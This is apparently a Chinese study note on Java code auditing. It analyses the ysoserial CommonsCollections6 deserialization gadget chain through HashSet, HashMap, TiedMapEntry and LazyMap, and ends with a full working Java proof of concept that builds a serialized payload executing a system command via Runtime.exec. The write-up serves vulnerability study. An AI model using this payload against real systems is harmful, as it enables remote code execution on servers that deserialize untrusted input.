Java代码审计学习笔记之ysoserial分析(七、CommonsCollections6利用链)

1.CommonsCollections6利用链分析

这个利用链反序列化执行的后半部分跟CC5一样,都是利用TiedMapEntry.getValue会触发lazyMap.get从而触发ChainedTransformer.transform()。但是这里触发TiedMapEntry.getValue用的不再是BadAttributeValueExpException,而是换成了HashSet

作者给出的反序列化调用栈如下:

        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
            ...省略...

可以看到,就这个HashSet之前没有分析过,我们跟随调用栈来看看构造利用链需要对HashSet进行哪些设置。以下代码源自java7及CommonsCollections3.1。

1.1 HashSet

先介绍一下HashSet,这个HashSet是一个常用的集合,它的实现方法其实很神奇,底层调用了HashMap来实现数据的增删改查操作。以add方法为例子,向集合中添加一个对象,它是通过HashMap的put方法实现的,但是正常来说Map需要键值对,那HashSet是如何调用HashMap.put来添加对象呢,可以看一下源码:

public boolean add(E e) {
        return map.put(e, PRESENT)==null;
}

然后看一下mapPRESENT的定义:

    private transient HashMap<E,Object> map;
    private static final Object PRESENT = new Object();

可以看到这里面它map就是个HashMapPRESENT就是个固定的Object。所以简单来说这个Hashset就是一个调用了HashMap,把HashMapKey作为自己存放元素的地方。接下来看看它的readObject

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read in HashMap capacity and load factor and create backing HashMap
        int capacity = s.readInt();
        float loadFactor = s.readFloat();
        map = (((HashSet)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));
        //新建一个HashMap用来保存元素
        // Read in size
        int size = s.readInt();

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            E e = (E) s.readObject();
            map.put(e, PRESENT);//读取每一个元素并作为HashMap的Key进行存储
        }
    }

这里调用了HashMap的put方法,我们追进去看一下,HashMap.put方法代码如下:

    public V put(K key, V value) {
        if (table == EMPTY_TABLE) {
            inflateTable(threshold);
        }
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);//这里计算key对象的Hash
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }

可以看到这里调用了hash方法计算key的hash,追入hash方法,代码如下:

    final int hash(Object k) {
        int h = hashSeed;
        if (0 != h && k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }

        h ^= k.hashCode();//调用了传入元素的HashCode方法

        // This function ensures that hashCodes that differ only by
        // constant multiples at each bit position have a bounded
        // number of collisions (approximately 8 at default load factor).
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

这里可以看到k.hashCode()中调用了传入参数的hashCode方法。而TiedMapEntry.hashCode代码如下:

    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

可以看到里也调用了TiedMapEntry.getValue!!!因此如果我们在HashSet中放入一个我们构造出来的TiedMapEntry即可完成利用链。其实原理上很简单,但是在向HashSet里添加元素的时候,会调用HashSet.add方法,而这个add方法中又调用了HashMap.put,因此作者为了防止构造数据的时候执行命令使用反射方法暴力修改类的属性来向HashSet里添加元素。这里我们修改一下,替换一下transformer即可。

最终得到的代码如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException {
        String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        final String[] execArgs = new String[] { command };
        final Transformer[] tmptransformers = new Transformer[] {};
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        Transformer transformerChain = new ChainedTransformer(tmptransformers);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "jus4fun");

        HashSet map = new HashSet(1);
        map.add(entry);//注意,这里在add的时候计算hashcode的时候也会调用lazyMap.get,因此会在lazyMap中添加一个jus4fun作为key

        lazyMap.remove("jus4fun");//lazyMap.get只有key不存在才会调用transform,因此这里要删除这个key

        //设置ChainedTransformer.iTransformers
        Field itransfield = ChainedTransformer.class.getDeclaredField("iTransformers");
        itransfield.setAccessible(true);
        itransfield.set(transformerChain,transformers);

        //return map;
        //序列化
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        objectOutputStream.writeObject(map);

        //反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
        objectInputStream.readObject();

    }
}